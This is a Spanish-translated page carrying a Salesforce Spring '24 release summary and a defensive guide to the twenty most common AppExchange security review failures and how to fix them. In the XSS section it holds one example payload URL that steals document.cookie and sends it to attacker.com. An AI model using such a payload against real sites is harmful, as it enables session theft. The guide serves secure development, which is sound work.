Categories
Developers Tutoriales de Salesforce

La versión Spring ’24: Una guía completa para desarrolladores de Salesforce ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores, consultores, administradores y arquitectos de Salesforce para toda Iberoamérica.

El enlace a la publicación original, lo encontrarás al final de este artículo.

La versión Spring ’24 ya está disponible, y Salesforce ha proporcionado una guía para que los desarrolladores conozcan las nuevas funciones y mejoras. La guía incluye información sobre las actualizaciones de Salesforce Platform, las incorporaciones de Apex, las mejoras de Lightning Web Components (LWC), los entornos de desarrollo, las herramientas de desarrollo de la plataforma, los aspectos destacados de Data Cloud, las API y las integraciones, etc.

Algunos de los aspectos más destacados de la versión Spring ’24 para desarrolladores incluyen:

– La introducción del operador de coalescencia de nulos (??) en Apex, que simplifica el código con comprobaciones verbales de nulos.
– La disponibilidad de una clase de sistema UUID en Apex para generar identificadores únicos universales (UUID) de la versión 4.
– La capacidad de realizar una llamada HTTP después de revertir operaciones DML mediante el nuevo método Database.releaseSavepoint.
– Funciones de vista previa para desarrolladores como la clase ZipWriter para comprimir y extraer archivos en Apex y la clase FormulaEval para construir y evaluar fórmulas en tiempo de ejecución de Apex.
– Mejoras en Lightning Web Components, incluida la disponibilidad de Lightning Web Components Workspace API para gestionar pestañas y subpestañas en aplicaciones de Lightning Console, y la disponibilidad del componente Lightning Record Picker para buscar y seleccionar fácilmente registros de Salesforce.
– La introducción de Scratch Org Snapshots (Beta), que permite a los desarrolladores replicar rápidamente Scratch Orgs con las dependencias de proyecto necesarias.
– Actualizaciones de la CLI de Salesforce, incluido un comando para activar/desactivar el seguimiento en archivos de origen entre un proyecto y una org, y mensajes de error y advertencia más claros cuando se utilizan comandos obsoletos.
– Actualizaciones de Einstein para desarrolladores (Beta), incluidas las directrices de escritura rápida para el asistente de codificación Einstein Studio AI, y próximas funciones como la generación de código de prueba y autocompletar en línea para LWC y Apex.
– La retirada de la herramienta de migración Ant en favor del uso de la CLI de Salesforce para despliegues y recuperaciones.
– La recomendación de sustituir Workbench por herramientas modernas como Code Builder o la CLI de Salesforce.

La guía también proporciona información sobre las actualizaciones de Spring ’24 de Data Cloud, incluida la integración de modelos generativos de IA y la posibilidad de enviar datos a Data Cloud mediante Flows. También destaca las actualizaciones de las API y las integraciones, como la compatibilidad con objetos adicionales en Change Data Capture y las mejoras en la API GraphQL.

Se anima a los desarrolladores a explorar la guía completa para obtener más información sobre la versión Spring ’24 y su impacto en sus proyectos de desarrollo.

Esta es una traducción realizada por EGA Futura, y este es el link a la publicación original: https://developer.salesforce.com/blogs/2024/01/spring24-developers.html

Categories
AppExchange Developers Tutoriales de Salesforce

Las 20 vulnerabilidades principales encontradas en la revisión de seguridad de AppExchange ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Las 20 principales vulnerabilidades encontradas en la revisión de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisión de seguridad de AppExchange es uno de los procesos de revisión más rigurosos de cualquier mercado de aplicaciones en línea. Esta estricta reputación es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor número uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los más altos estándares de seguridad posibles para la protección de los datos de los clientes.

Dicho esto, estos estándares pueden representar un desafío importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener éxito, en orden de prevalencia, esta publicación analizará las 20 razones principales por las que los socios no pasan la revisión de seguridad (a partir de 2023). También cubriremos cómo remediar o prevenir estos problemas.

#1 — Aplicación de CRUD/FLS

¿Qué es esto?

Las vulnerabilidades de aplicación de la seguridad a nivel de objetos y campos (CRUD/FLS) son la razón principal (por un margen significativo) para no pasar la revisión de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene algún código de Salesforce, este problema debe ser su prioridad número uno a resolver antes de enviarlo para una revisión de seguridad.

¿Cómo puedo abordar esto?

Si, durante su proceso de codificación, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querrá hacer una revisión muy exhaustiva de su código base para asegurarse de que no esté realizar cualquier operación de creación/lectura/actualización/eliminación no marcada en objetos o campos.

El método preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer aún no lo admiten completamente (al momento de escribir esta publicación, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protección arrojará falsos positivos). Code Analyzer Graph Engine es actualmente la única herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentación para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, métodos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensión PMD para VS Code pueden ser útiles herramientas que puede utilizar para comprobar su código base. Puede seguir nuestra guía para obtener más información sobre cómo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El escáner Checkmarx debe utilizarse como verificación final de violaciones de CRUD/FLS. Puede ejecutar este análisis a través del Portal de seguridad para socios .

Obtenga más información sobre la aplicación de CRUD/FLS en Trailhead .

#2 – Versión de software insegura

¿Qué es esto?

Esto significa que alguna pieza de software (normalmente, una versión específica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayoría de las veces, es porque estás usando una versión desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la más común), pero también podría ser algo así como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

¿Cómo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnologías que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de código abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas públicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. También puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su código base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentación de falsos positivos para argumentar que un CVE particular registrado no podría aplicarse a su oferta, ya que quizás no esté utilizando la funcionalidad asociada con ese CVE.

#3 – Violación al compartir

¿Qué es esto?

Básicamente, esto significa que tiene clases de Apex en las que no ha agregado explícitamente la palabra clave with sharing al encabezado de la clase, omitiendo así las reglas de uso compartido de una organización.

¿Cómo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y asegúrese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicación a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede aún más claro).

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Obtenga más información sobre cómo compartir el cumplimiento a través de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

¿Qué es esto?

Los secretos no deben estar codificados en el código fuente. Aunque el código puede estar contenido en un paquete administrado donde el código está oculto para los clientes, todavía existen razones por las que esta es una práctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podrá actualizarlo por sí mismo.

¿Cómo puedo abordar esto?

Asegúrese de que no haya secretos codificados en el código fuente, incluso si es un paquete administrado. Asegúrese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso específico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuración personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga más información sobre el almacenamiento seguro de secretos en Trailhead .

#5 — Configuración TLS/SSL

¿Qué es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es válido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si están en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

¿Cómo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisión de seguridad ejecutará este análisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su solución. Si sus terminales no reciben una calificación A por cumplimiento de SSL/TLS, su revisión de seguridad no será aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar más detalles sobre los requisitos de TLS en las notas de la versión .

#6 — Información confidencial en depuración

¿Qué es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra información confidencial, como secretos de aplicaciones, datos del sistema o información de depuración demasiado detallada, a través de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado está habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisión de seguridad de AppExchange.

¿Cómo puedo abordar esto?

En su paquete de Salesforce, asegúrese de buscar en su código fuente todas las declaraciones de depuración del paquete para asegurarse de que no registren información confidencial o secretos.

Asegúrese de que los códigos de error y los mensajes de error en toda su solución tengan un nivel de información apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deberían ver seguimientos de pila completos ni información de depuración detallada. De manera similar, asegúrese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los escáneres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP también pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga más información sobre cómo verificar los seguimientos de la pila e información detallada sobre las excepciones en el número 13.

#7 – CSRF

¿Qué es esto?

La falsificación de solicitudes entre sitios (CSRF) es un tipo de ataque que engaña a una víctima para que ejecute acciones no deseadas en una aplicación web en la que está autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente dañinas, como cambiar direcciones de correo electrónico y contraseñas, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protección mientras se utilizan controladores y métodos estándar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios métodos de acción.

¿Cómo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores únicos y específicos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Además, deben adoptar la práctica de cookies del mismo sitio, que impide que el navegador envíe la cookie junto con solicitudes entre sitios, mitigando así los riesgos de CSRF.

Para páginas de Visualforce:

  • Al crear páginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones automáticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la página.
  • Otra técnica de mitigación implica agregar una página de confirmación intermedia antes de realizar la acción, donde el usuario puede confirmar que tenía la intención de realizar esa acción.

Para componentes Lightning:

  • De manera similar a las páginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que también desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad más complicados, por lo que vale la pena invertir en aprender más sobre él en profundidad. Para los paquetes de Salesforce, existe excelente documentación para desarrolladores y un módulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentación de OWASP .

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.º 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

¿Qué es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyección en los que se insertan secuencias de comandos dañinas en sitios web confiables. Ocurren cuando un atacante explota una aplicación web para enviar código malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesión u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la página.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicación web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta código malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicación podría ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una página sin validarlas adecuadamente (para garantizar que no contenga código/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • Páginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificación de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=”manual” o el componente lightning:formattedRichText sin la validación de entrada adecuada.
  • Parámetros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una página sin validación (lo que lleva a XSS reflejado).

¿Cómo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulación de DOM, pero también recomendamos practicar el filtrado de entrada y la codificación de salida, que incluyen:

  • Evite la manipulación del modelo de objetos de documento (DOM): en su lugar, utilice técnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: asegúrese de que la entrada del usuario no contenga código ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres comúnmente utilizados en el código, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, paréntesis u operadores matemáticos o lógicos como '+', '&' o '-')
  • Codificación de salida : asegúrese de que si el código ejecutable pasara el filtrado de entrada, no se interprete como código al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este módulo de Trailhead explica exactamente cómo mitigar XSS con estas técnicas, y nuestra documentación para desarrolladores también es útil aquí. Para obtener consejos específicos sobre la protección contra XSS en componentes Lightning, consulte la página Seguridad Lightning en la Guía de codificación segura.

Para aplicaciones web que no son de Salesforce, también puede consultar la documentación de OWASP para obtener consejos adicionales.

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

#9: JavaScript no está en recursos estáticos

¿Qué es esto?

Muchos paquetes administrados por Salesforce no pasan la revisión de seguridad por no almacenar JavaScript como recursos estáticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La razón principal de esta regla es que permite un control de versiones mucho más seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa está comprometida.

¿Cómo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos estáticos y luego cargarse con una etiqueta <apex:includeScript> en su página (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los módulos JavaScript que importe a su componente o use la función loadScript para cargar un archivo JavaScript de recursos estáticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su código fuente para asegurarse de que todas las bibliotecas de JavaScript estén almacenadas como recursos estáticos, no cargadas dinámicamente a través de hipervínculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina técnica para analizar su caso de uso. Es posible obtener una excepción en ciertos casos.

Obtenga más información sobre este problema en nuestra documentación para desarrolladores .

#10 – Inyección SOQL

¿Qué es esto?

La inyección SOQL es la versión específica de Salesforce de la inyección SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL dinámica. Si la entrada no está validada, puede incluir comandos SOQL que modifican efectivamente la declaración SOQL y engañan a la aplicación para que ejecute comandos no deseados.

¿Cómo puedo abordar esto?

La forma más sencilla de evitar el problema es evitar consultas dinámicas en favor de consultas estáticas y utilizar variables vinculantes. De lo contrario, deberá validar estrictamente las entradas del usuario antes de usarlas en consultas mediante técnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Para obtener más información, consulte nuestro módulo Trailhead o revise nuestra documentación para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener más información sobre la inyección SQL en la guía OWASP . Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudar a identificar problemas de inyección SQL.

#11 — Lightning: carga CSS inadecuada

¿Qué es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una práctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en línea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> también permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que está cargando esté correctamente aislado y no incluya código o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicación Salesforce.

¿Cómo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso estático, use una etiqueta <apex:stylesheet> en su página (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el código fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ningún lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya están bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluiría su CSS en el archivo CSS asociado de su componente o usaría la función loadStyle para cargar un archivo CSS de recursos estáticos.

Puede encontrar más información en nuestra documentación para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia clásica)

¿Qué es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicación Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicación en las páginas de Visualforce que usted controla, de modo que el JavaScript personalizado esté esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pestañas web, componentes de página de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podría ser motivo de falla).

¿Cómo puedo abordar esto?

Esto es algo que deberá verificar manualmente en el código fuente de su paquete Salesforce. Verifique y asegúrese de que no haya utilizado JavaScript para crear botones personalizados, pestañas web, componentes de la página de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado esté incluido solo en el dominio de su aplicación con espacio de nombres en las páginas de VisualForce que controla como parte de su aplicación.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicación (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, asegúrese de eliminarlo. Incluso si su aplicación solo está destinada a usarse en Lightning Experience, si la vulnerabilidad está presente para los usuarios en modo Clásico, el paquete no se puede aprobar.

Esta regla en particular no está especialmente bien documentada, pero puede leer más en el documento Lista de verificación de revisión de seguridad de AppExchange (se requiere iniciar sesión en la comunidad de socios).

#13 — Divulgación de información en páginas de error y excepciones

¿Qué es esto?

En el contexto de la revisión de seguridad de AppExchange, este término se refiere específicamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus páginas de error muestran datos confidenciales del sistema o información de depuración. Por ejemplo, a veces las páginas de error incluyen seguimientos de pila completos que muestran cómo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde está instalada la aplicación. A veces, incluso la información confidencial queda expuesta de esta manera.

¿Cómo puedo abordar esto?

Busque en su base de código llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no válidas, entradas vacías, entradas demasiado largas, acceso a páginas internas sin autenticación, omisión de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

También puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a través de esta guía de OWASP .

#14 — Componentes de Aura: componente externo de CSS

¿Qué es esto?

Se supone que los componentes de Aura son pequeños, autónomos, reutilizables y reposicionables. CSS que evita la encapsulación de componentes (a través de .THIS) o que utiliza un posicionamiento no estándar (por ejemplo, flotante o posición: absoluta o fija) infringe estas garantías y puede interferir con la visualización de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la razón principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el diseño del sitio web de Salesforce y viola el espíritu del modelo de seguridad de Lightning, donde los componentes están estrictamente aislados y se garantiza que permanecerán en su propio carril.

¿Cómo puedo abordar esto?

Este es otro problema que debes verificar manualmente. Básicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. También recomendamos revisar nuestra documentación para asegurarse de que está siguiendo todas las reglas CSS correctas.

#15 — Canal de mensajes expuesto

¿Qué es esto?

Este término se refiere específicamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

¿Cómo puedo abordar esto?

Tiene dos opciones, según su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminación de componentes administrados para su paquete u organización de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectaría la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (asegúrese de mencionar esto específicamente en un mensaje falso). documento positivo sobre su presentación).
  2. Si tiene que utilizar un componente de canal LMS, asegúrese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice únicamente el componente recién creado en el código.

Más información está disponible en la documentación .

#16 – Información confidencial en URL

¿Qué es esto?

Esto se refiere a una situación en la que se envía información confidencial de larga duración en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contraseña). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de búsqueda indexan URL y almacenan inadvertidamente información confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, caché del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Información de URL enviada a aplicaciones web de terceros a través del encabezado de referencia o expuesta a scripts de terceros en la página

¿Cómo puedo abordar esto?

Burp Suite puede ayudarle aquí para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicación para detectar cualquier caso en el que se envíen secretos a largo plazo a través de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su método de autenticación (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores métodos de almacenamiento de secretos.

La guía OWASP es un gran recurso a seguir.

#17 – Punto final inseguro

¿Qué es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

¿Cómo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma aún más segura de verificar esto es buscar en el código fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco más sobre cómo esto mejora la seguridad en esta página de OWASP .

#18 — Enumeración de nombre de usuario o correo electrónico

¿Qué es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situación en la que los atacantes pueden enumerar listas de nombres de usuario o correos electrónicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesión, funciones de olvido de contraseña o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contraseñas reutilizadas de bases de datos comprometidas y fugas o volcados de contraseñas.

¿Cómo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperación de contraseñas, intentos de inicio de sesión, etc., y asegúrese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electrónico ingresado es válido.

Por ejemplo, muchos sitios incluyen un mensaje genérico, como: "Si dicho usuario existe, recibirá un correo electrónico con un restablecimiento de contraseña". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electrónico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeración por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, también puede revisar sus funcionalidades de inicio de sesión manualmente.

OWASP tiene una guía útil para evitar la enumeración de correos electrónicos y nombres de usuarios.

#19 — Gestión de contraseñas

¿Qué es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener políticas de contraseñas problemáticas, como por ejemplo:

  • Permitir la reutilización de la misma contraseña cuando es necesario restablecerla
  • No solicitar la contraseña anterior cuando se permite a los usuarios establecer una nueva contraseña
  • Para restablecer la contraseña, enviar una contraseña temporal al correo electrónico de un usuario en texto sin formato
  • Dejar contraseñas predeterminadas en los usuarios raíz del servidor o de la base de datos

¿Cómo puedo abordar esto?

Además de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticación de OWASP para obtener algunas pautas sobre cómo establecer políticas de contraseñas seguras:

Burp Suite también es muy útil para identificar problemas relacionados con las contraseñas (por ejemplo, puede usarlo para intentar forzar sus páginas de inicio de sesión).

#20 – Eco de contraseña

¿Qué es esto?

Esto es un poco diferente del problema de administración de contraseñas descrito anteriormente. Un eco de contraseña se refiere a situaciones en las que las contraseñas se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia página de configuración) o en llamadas API/respuestas JSON.

¿Cómo puedo abordar esto?

Asegúrese de que su contraseña no se revele ni se transmita en texto sin formato en ninguna parte de su aplicación. Asegúrese de que en las páginas de configuración u otras páginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el botón si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contraseñas de OWASP para obtener más información.

Burp Suite , o quizás Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su solución incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organización. Burp Suite es una de las mejores herramientas de seguridad del mercado y también la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prepárate para invertir más tiempo en términos de revisión manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security también utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el código fuente del paquete Salesforce. También utilizan la base de datos CVE y el escáner Qualys SSL en la mayoría de los envíos.

Si tiene problemas de seguridad y necesita orientación técnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a través del Portal de seguridad para socios .

Por último, no podemos recomendar lo suficiente Trailhead en términos de preparación para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y también acabamos de renovar el módulo Revisión de seguridad de AppExchange , que analiza el proceso de envío de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista técnica en Salesforce. Ha estado trabajando con el equipo de revisión de seguridad de AppExchange en Salesforce desde 2017, y su función actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

